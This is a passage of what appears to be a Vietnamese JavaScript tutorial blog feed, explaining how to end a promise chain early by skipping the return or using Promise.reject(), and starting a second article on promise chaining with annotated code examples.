sau:</p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">Tìm kiếm User qua email .then( Nếu email đã tồn tại thì sẽ kết thúc sớm Promise chaining. Ngược lại sẽ thực hiện bước tiếp theo. ) .then( Hash mật khẩu. ) .then( Tạo User và lưu vào cơ sở dữ liệu. ) .catch( Xử lý khi có bất kỳ lỗi gì xảy ra. )</code></pre></div> <p>Bạn thấy đó, ngay tại bước <code>then</code> đầu tiên, nếu email đã tồn tại thì mình sẽ kết thúc sớm chuỗi promise. Có thể bạn sẽ triển khai API để đăng ký User qua Email theo cách khác của mình. Tuy nhiên, đây chỉ là một ví dụ dùng để minh hoạ mà thôi.</p> <p>Vậy làm sao để kết thúc sớm Promise chaining trong JavaScript?</p> <p>Dưới đây, mình sẽ xem xét một bài toán phi thực tế để biết cách triển khai code như thế nào nhé!</p> <h2 id="bài-toán-ví-dụ" style="position:relative;"><a href="#b%C3%A0i-to%C3%A1n-v%C3%AD-d%E1%BB%A5" aria-label="bài toán ví dụ permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Bài toán ví dụ</h2> <p>Bài toán ví dụ về chuỗi promise.</p> <h3 id="giới-thiệu-bài-toán" style="position:relative;"><a href="#gi%E1%BB%9Bi-thi%E1%BB%87u-b%C3%A0i-to%C3%A1n" aria-label="giới thiệu bài toán permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Giới thiệu bài toán</h3> <p>Giả sử mình có đoạn code dưới đây:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> <span class="token function-variable function">increase</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token parameter">x</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>x<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">return</span> x <span class="token operator">+</span> <span class="token number">1</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">const</span> <span class="token function-variable function">run</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token parameter">x</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">new</span> <span class="token class-name">Promise</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">resolve<span class="token punctuation">,</span> reject</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token function">resolve</span><span class="token punctuation">(</span>x<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">res</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token function">increase</span><span class="token punctuation">(</span>res<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">res</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token function">increase</span><span class="token punctuation">(</span>res<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">res</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token function">increase</span><span class="token punctuation">(</span>res<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">catch</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">err</span><span class="token punctuation">)</span> <span class="token operator">=></span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Catched: "</span> <span class="token operator">+</span> err<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span></code></pre></div> <p>Trong đó:</p> <ul> <li><a href="/ham-la-gi-ham-trong-javascript/">Hàm</a> <code>increase</code> sẽ trả về giá trị của đầu vào <code>+ 1</code>.</li> <li>Hàm <code>run</code> thực hiện một promise chaining, với mỗi mắt xích sẽ gọi hàm <code>increase</code>.</li> </ul> <p>Với hàm <code>run</code> như trên thì với mọi giá trị của <code>x</code>, ba cái <code>.then</code> trên luôn được thực hiện.</p> <p>Ví dụ với <code>x = 4</code> thì kết quả thu được là:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token function">run</span><span class="token punctuation">(</span><span class="token number">4</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">/* * 4 * 5 * 6 */</span></code></pre></div> <p>Nếu mình muốn kết thúc sớm Promise chaining ngay tại <code>then</code> đầu tiên khi giá trị của <code>res</code> lớn hơn 3 thì sao?</p> <p>Có 2 cách để giải quyết bài toán này, đó là: <strong>không thực hiện return</strong> hoặc <strong>sử dụng <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise/reject">Promise.reject()</a></strong></p> <h3 id="kết-thúc-sớm-promise-chaining-bằng-cách-không-return" style="position:relative;"><a href="#k%E1%BA%BFt-th%C3%BAc-s%E1%BB%9Bm-promise-chaining-b%E1%BA%B1ng-c%C3%A1ch-kh%C3%B4ng-return" aria-label="kết thúc sớm promise chaining bằng cách không return permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Kết thúc sớm Promise chaining bằng cách không return</h3> <p>Bình thường, khi thực hiện <code>return</code>, giá trị <code>return</code> được đưa đến mắt xích tiếp theo của chuỗi Promise để xử lý.</p> <p>Và nếu bạn không <code>return</code> thì giá trị đó được hiểu là <code>undefined</code>. Dựa vào đặc điểm này, mình sẽ thay đổi đoạn code trên như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> <span class="token function-variable function">increase</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token parameter">x</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>x<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">return</span> x <span class="token operator">+</span> <span class="token number">1</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">const</span> <span class="token function-variable function">run</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token parameter">x</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">new</span> <span class="token class-name">Promise</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">resolve<span class="token punctuation">,</span> reject</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token function">resolve</span><span class="token punctuation">(</span>x<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">res</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>res <span class="token operator">&lt;=</span> <span class="token number">3</span><span class="token punctuation">)</span> <span class="token keyword">return</span> <span class="token function">increase</span><span class="token punctuation">(</span>res<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">res</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>res <span class="token operator">!==</span> <span class="token keyword">undefined</span><span class="token punctuation">)</span> <span class="token keyword">return</span> <span class="token function">increase</span><span class="token punctuation">(</span>res<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">res</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>res <span class="token operator">!==</span> <span class="token keyword">undefined</span><span class="token punctuation">)</span> <span class="token keyword">return</span> <span class="token function">increase</span><span class="token punctuation">(</span>res<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">catch</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">err</span><span class="token punctuation">)</span> <span class="token operator">=></span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Catched: "</span> <span class="token operator">+</span> err<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token function">run</span><span class="token punctuation">(</span><span class="token number">3</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">/* * 3 * 4 * 5 */</span> <span class="token function">run</span><span class="token punctuation">(</span><span class="token number">4</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Nothing</span></code></pre></div> <p>Với <code>x = 3</code>: giá trị của <code>res</code> tại <code>then</code> đầu tiên là <code>3</code>, thoả mãn <code>res &#x3C;= 3</code> nên đoạn code đó trả về <code>increase(res)</code>. Dẫn đến, giá trị của <code>res</code> tại các <code>then</code> tiếp theo lần lượt là <code>4</code> và <code>5</code>.</p> <p>Với <code>x = 4</code>: ngay tại <code>then</code> đầu tiên <code>res</code> sẽ bằng <code>4</code>, không thoả mãn <code>res &#x3C;= 3</code> nên đoạn code <code>return increase(res)</code> không được thực hiện. Dẫn đến, đoạn <code>then</code> này trả về <code>undefined</code>. Do đó các <code>then</code> tiếp theo, giá trị của <code>res</code> sẽ là <code>undefined</code>. Mà mình đã kiểm tra nếu <code>res !== undefined</code> thì mới thực hiện. Tóm lại, mình đã kết thúc sớm Promise chaining ngay tại <code>then</code> đầu tiên rồi.</p> <p>Tuy nhiên, nếu để ý kĩ thì bạn sẽ thấy cách này chỉ giải quyết được về mặt kết quả. Còn về hình thức thì các mắt xích của chuỗi Promise vẫn được nhảy đến. Điều này có thể tiềm ẩn nhiều <strong>Bug</strong> sau này. Vì vậy, cái mà mình mong muốn thực sự là việc kết thúc sớm Promise chaining sẽ giúp thoát khỏi chuỗi Promise một cách hoàn toàn.</p> <h3 id="kết-thúc-sớm-promise-chaining-sử-dụng-promisereject" style="position:relative;"><a href="#k%E1%BA%BFt-th%C3%BAc-s%E1%BB%9Bm-promise-chaining-s%E1%BB%AD-d%E1%BB%A5ng-promisereject" aria-label="kết thúc sớm promise chaining sử dụng promisereject permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Kết thúc sớm Promise chaining sử dụng Promise.reject()</h3> <p>Đúng vậy, việc sử dụng <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise/reject"><code>Promise.reject()</code></a> giúp bạn kết thúc sớm Promise chaining bằng cách nhảy thẳng đến phần <code>catch</code>. Khi đó, đoạn code trên sẽ trở thành:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> <span class="token function-variable function">increase</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token parameter">x</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>x<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">return</span> x <span class="token operator">+</span> <span class="token number">1</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">const</span> <span class="token function-variable function">run</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token parameter">x</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">new</span> <span class="token class-name">Promise</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">resolve<span class="token punctuation">,</span> reject</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token function">resolve</span><span class="token punctuation">(</span>x<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">res</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>res <span class="token operator">&lt;=</span> <span class="token number">3</span><span class="token punctuation">)</span> <span class="token keyword">return</span> <span class="token function">increase</span><span class="token punctuation">(</span>res<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">return</span> Promise<span class="token punctuation">.</span><span class="token function">reject</span><span class="token punctuation">(</span>res<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">res</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token function">increase</span><span class="token punctuation">(</span>res<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">res</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token function">increase</span><span class="token punctuation">(</span>res<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">catch</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">err</span><span class="token punctuation">)</span> <span class="token operator">=></span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Catched: "</span> <span class="token operator">+</span> err<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token function">run</span><span class="token punctuation">(</span><span class="token number">3</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">/* * 3 * 4 * 5 */</span> <span class="token function">run</span><span class="token punctuation">(</span><span class="token number">4</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Catched: 4</span></code></pre></div> <p>Trong trường hợp này, mình chỉ cần thêm phần xử lý tại <code>then</code> đầu tiên.</p> <p>Với <code>x = 3</code>: Kết quả vẫn như phần trên.</p> <p>Với <code>x = 4</code>: Tại <code>then</code> đầu tiên, <code>res</code> bằng <code>4</code>, không thoả mãn <code>res &#x3C;= 3</code> nên đoạn đó sẽ thực hiện <code>return Promise.reject(res)</code>. Điều này dẫn đến các đoạn <code>then</code> tiếp theo bị bỏ qua mà nhảy thẳng đến đoạn <code>catch</code>. Tại đây, giá trị của <code>err</code> bằng giá trị của <code>res</code> đã bị reject bên trên, nên bằng <code>4</code>.</p> <p>Rõ ràng, việc sử dụng <code>Promise.reject()</code> đã giúp kết thúc sớm Promise chaining một cách hoàn toàn rồi.</p> <h2 id="tổng-kết" style="position:relative;"><a href="#t%E1%BB%95ng-k%E1%BA%BFt" aria-label="tổng kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tổng kết</h2> <p>Như vậy là mình đã giới thiệu với bạn 2 cách để kết thúc sớm Promise chaining trong JavaScript. Nếu bạn biết thêm cách nào khác để thực hiện việc này thì hãy chia sẻ với mình trong phần bình luận phía dưới nhé!</p> <p>Xin chào và hẹn gặp lại!</p>[email protected]<![CDATA[Chuỗi promise trong JavaScript]]><![CDATA[Như đã nói đến trong bài Callback là gì? Callback trong JavaScript, ở đó mình có một chuỗi các tác vụ không đồng bộ được thực hiện lần lượt - ví dụ tải các tập lệnh. Vậy làm sao để…]]>https://completejavascript.com/chuoi-promise-trong-javascript/https://completejavascript.com/chuoi-promise-trong-javascript/<![CDATA[Promise]]>Mon, 10 Jul 2017 16:24:00 GMT<p>Như đã nói đến trong bài <a href="/callback-la-gi-callback-trong-javascript/">Callback là gì? Callback trong JavaScript</a>, ở đó mình có một chuỗi các tác vụ không đồng bộ được thực hiện lần lượt - ví dụ tải các tập lệnh.</p> <p><strong>Vậy làm sao để code chúng một cách tốt nhất?</strong></p> <p>Promise cung cấp một vài cách để giúp bạn làm điều đó.</p> <p>Trong bài viết này, mình sẽ giới thiệu với bạn về <strong>chuỗi promise</strong> trong JavaScript hay tiếng anh là <strong>promise chaining</strong>.</p> <h2 id="chuỗi-promise-là-gì" style="position:relative;"><a href="#chu%E1%BB%97i-promise-l%C3%A0-g%C3%AC" aria-label="chuỗi promise là gì permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Chuỗi promise là gì?</h2> <p>Ví dụ về chuỗi promise trong JavaScript:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">new</span> <span class="token class-name">Promise</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">resolve<span class="token punctuation">,</span> reject</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token function">setTimeout</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token function">resolve</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token number">1000</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// (*)</span> <span class="token punctuation">}</span><span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">result</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// (**)</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>result<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 1</span> <span class="token keyword">return</span> result <span class="token operator">*</span> <span class="token number">2</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">result</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// (***)</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>result<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 2</span> <span class="token keyword">return</span> result <span class="token operator">*</span> <span class="token number">2</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">result</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>result<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 4</span> <span class="token keyword">return</span> result <span class="token operator">*</span> <span class="token number">2</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Ý tưởng của chuỗi promise là kết quả được chuyển qua chuỗi các <code>.then</code> với cách thức thực hiện là:</p> <ol> <li>Promise ban đầu được giải quyết sau 1 giây <code>(*)</code>.</li> <li>Sau đó, <code>.then</code> được gọi tại <code>(**)</code>, lần lượt tạo ra một promise mới (được giải quyết bằng giá trị <code>2</code>).</li> <li>Tiếp theo, <code>.then</code> tại <code>(***)</code> lấy kết quả của phần trước, xử lý (nhân đôi) và chuyển kết quả cho <code>.then</code> tiếp theo.</li> <li>…cứ như vậy (tạo thành chuỗi promise).</li> </ol> <p>Khi kết quả được chuyển dọc theo chuỗi trên, bạn thấy rằng một chuỗi các lệnh <code>console.log</code> gọi: <code>1</code> → <code>2</code>→ <code>4</code>.</p> <p><strong>Chú ý:</strong> mỗi lần gọi <code>.then</code> đều trả về một promise mới, để bạn có thể gọi promise tiếp theo với <code>.then</code> trên đó.</p> <p>Khi một trình xử lý trả về một giá trị, nó sẽ trở thành kết quả của promise. Vì vậy, giá trị tiếp theo <code>.then</code> được gọi với giá trị đó.</p> <p>Một lỗi cơ bản với những người mới học lập trình JavaScript là: <strong>thêm nhiều <code>.then</code> vào một promise duy nhất</strong>. Điều này là có thể. Nhưng đây không phải là chuỗi promise.</p> <p>Ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> promise <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Promise</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">resolve<span class="token punctuation">,</span> reject</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token function">setTimeout</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token function">resolve</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token number">1000</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> promise<span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">result</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>result<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 1</span> <span class="token keyword">return</span> result <span class="token operator">*</span> <span class="token number">2</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> promise<span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">result</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>result<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 1</span> <span class="token keyword">return</span> result <span class="token operator">*</span> <span class="token number">2</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> promise<span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">result</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>result<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 1</span> <span class="token keyword">return</span> result <span class="token operator">*</span> <span class="token number">2</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Trong ví dụ trên, mỗi <code>.then</code> thực chất chỉ xử lý cho promise đầu tiên. Chúng không chuyển kết quả cho nhau, thay vào đó chúng xử lý kết quả một cách độc lập. Do đó, giá trị <code>result</code> tại mỗi <code>.then</code> đều giống nhau và bằng <code>1</code>.</p> <p>Thực tế, bạn thường không cần nhiều trình xử lý cho một promise. Thay vào đó, promise chaining được sử dụng nhiều hơn.</p> <h2 id="trả-về-promise" style="position:relative;"><a href="#tr%E1%BA%A3-v%E1%BB%81-promise" aria-label="trả về promise permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Trả về promise</h2> <p>Một trình xử lý, được sử dụng trong <code>.then(handler)</code> có thể tạo và trả về promise.</p> <p>Trong trường hợp này, các trình xử lý tiếp theo sẽ đợi cho đến khi promise trước xử lý xong, rồi sẽ nhận được kết quả đó.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">new</span> <span class="token class-name">Promise</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">resolve<span class="token punctuation">,</span> reject</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token function">setTimeout</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token function">resolve</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token number">1000</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">result</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>result<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 1</span> <span class="token keyword">return</span> <span class="token keyword">new</span> <span class="token class-name">Promise</span><span class="token punctuation">(</span><span 